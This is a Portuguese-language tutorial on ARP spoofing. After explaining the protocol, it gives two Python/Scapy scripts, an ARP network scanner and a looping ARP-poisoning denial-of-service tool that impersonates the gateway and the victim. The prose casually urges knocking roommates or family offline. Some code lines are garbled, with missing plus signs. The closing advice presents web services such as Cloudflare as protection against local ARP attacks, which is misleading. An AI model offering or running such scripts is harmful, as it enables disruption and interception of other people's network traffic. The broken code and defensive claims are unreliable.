O que é ARP (protocolo de resolução de endereços)?

O Address Resolution Protocol (ARP) é um protocolo crucial usado em redes locais para converter endereços IP em endereços físicos (endereços MAC).

O que é um ataque ARP?

Um ataque ARP é uma exploração das vulnerabilidades do protocolo ARP. Ao enviar mensagens ARP forjadas, os invasores podem vincular seu endereço MAC ao endereço IP da vítima, interceptando, alterando ou interrompendo as comunicações de rede.

Por que o ataque ARP é o mais fácil de implementar?

Os ataques ARP são particularmente fáceis de implementar porque o protocolo ARP carece de recursos de segurança inerentes, o que o torna um alvo principal para invasores de rede. A falsificação de ARP ou envenenamento de ARP tornou-se, portanto, um método comum e perigoso de ataque à rede.

Com Python, você pode completar o código em menos de 100 linhas, e os efeitos são bastante significativos – seu colega de quarto ou familiares podem perder rapidamente a conexão WiFi. Claro, você não deve tentar atacar outras pessoas aleatoriamente, exceto talvez bons amigos.

O que os ataques ARP podem fazer?

1. Ataque de negação de serviço: você pode interromper a conexão Wi-Fi de seu colega de quarto ou família por meio de um ataque ARP. Ao enganar o computador alvo fazendo-o pensar que o invasor é o gateway, o invasor pode interromper a comunicação entre o computador alvo e o gateway, impedindo que o computador alvo acesse os recursos da rede.

2. Network Sniffing: Os invasores podem usar ataques ARP para capturar todos os pacotes de comunicação na rede, permitindo-lhes analisar e extrair informações confidenciais.

3. Adulteração de dados: Por meio de um ataque man-in-the-middle, os invasores podem alterar o conteúdo dos pacotes de dados, alterando assim os dados de comunicação.

Exemplos da vida real

• Redes empresariais: Os invasores podem realizar falsificação de ARP na rede interna de uma empresa para roubar credenciais de login, conteúdo de e-mail e outras informações confidenciais dos funcionários.
• Wi-Fi público: em locais como cafés e aeroportos, os invasores podem usar falsificação de ARP para atacar usuários conectados à mesma rede Wi-Fi, roubando seus dados privados.
• Redes domésticas: os invasores podem realizar falsificação de ARP em dispositivos de rede doméstica para roubar o histórico de navegação dos usuários, informações de login e muito mais.

Como funcionam os ataques ARP

1. ARP Spoofing: Os invasores enviam mensagens de resposta ARP forjadas para outros dispositivos na rede local, vinculando seu endereço MAC ao endereço IP do dispositivo legítimo. Por exemplo, os invasores podem vincular seu endereço MAC ao endereço IP do gateway, enganando todos os dispositivos na rede local para que enviem dados ao invasor.

2. Ataque Man-in-the-Middle: Depois que a falsificação de ARP for bem-sucedida, os invasores podem se posicionar entre a vítima e o gateway, interceptando e encaminhando todos os dados de comunicação. Isso permite que invasores roubem informações confidenciais, como credenciais de login e informações de contas bancárias.

3. Adulteração de dados: Os invasores podem não apenas interceptar dados, mas também alterá-los antes de encaminhá-los para a vítima ou para o gateway, permitindo novos ataques.

Implementando ataque ARP com Python

Primeiro, implementaremos uma função básica de digitalização ARP. A implementação da investigação ARP é simples. Podemos definir duas funções: uma chamada generate_ip_range, que pega uma string de endereço IP e gera todos os endereços de host dentro dessa sub-rede; o outro chamado arp_scan, que envia pacotes ARP. Podemos usar a função ARP do Scapy para construir solicitações ARP e enviá-las usando srp e, em seguida, aguardar as respostas.

from scapy.all import *
import argparse
import threading, time
import logging

# Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]), int(_split[1])   1)
    addr = [ip_split[0]   '.'   ip_split[1]   '.'   ip_split[2]   '.'   str(p) for p in ipv4]
    return addr

# Scan the local network for online devices using the ARP protocol
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--scan", dest="scan")
    args = parser.parse_args()
    # Usage: main.py -s 192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan, args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

A seguir, aprenderemos como implementar um ataque de negação de serviço ARP. O núcleo de um ataque ARP DOS é a função send_payload. Cada chamada para esta função envia dois pacotes: o primeiro pacote finge ser o gateway, enganando o computador alvo fazendo-o pensar que o invasor é o gateway; o segundo pacote finge ser o computador alvo, enganando o gateway fazendo-o pensar que o invasor é o computador alvo. Ao enviar esses dois pacotes em vários threads, o computador alvo não conseguirá se conectar à rede, realizando um ataque DOS.

"""
Disclaimer:

This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission.

Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations.

The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization.

Before running this code, please confirm that you have understood and accepted this disclaimer.
"""

from scapy.all import *
import argparse
import threading, time
import logging

# Create and send payloads
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
    print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP))
    # Generate ARP packet, pretending to be the gateway to deceive the target computer
    sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface)
    # Generate ARP packet, pretending to be the target computer to deceive the gateway
    sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name")
    parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address")
    parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address")
    args = parser.parse_args()

    # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    if args.gateway and args.target:
        srcMac = get_if_hwaddr(args.interface)  # Get the local MAC address through the interface name
        tgtMac = getmacbyip(args.target)  # Get the target computer's MAC address through its IP address
        gatewayMac = getmacbyip(args.gateway)  # Specify the gateway MAC address in the local network
        while True:
            t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
            t.start()
            t.join()
            time.sleep(1)
    else:
        parser.print_help()

Como se proteger contra ataques diários à rede

Como desenvolvedor independente, você pode frequentemente enfrentar o desafio de proteger seu site contra vários ataques complexos, especialmente os mais simples.

Os ataques ARP, por exemplo, são muito fáceis de executar, com o código de ataque tendo menos de 100 linhas. No entanto, os danos causados ​​podem ser significativos. Se os desenvolvedores precisarem se defender detalhadamente contra cada tipo de ataque, isso poderá ser uma tarefa árdua, potencialmente excedendo a quantidade de trabalho de desenvolvimento.

Portanto, a integração de plataformas de terceiros tornou-se uma solução muito comum. Plataformas como Edgeone e Cloudflare podem fornecer serviços de proteção eficazes. Embora esses serviços possam exigir alguns dólares, eles reduzem significativamente a carga mental em comparação com a autodefesa.

Este é um artigo que escrevi sobre ataques comuns à rede e suas soluções. Se você estiver interessado, fique à vontade para conferir.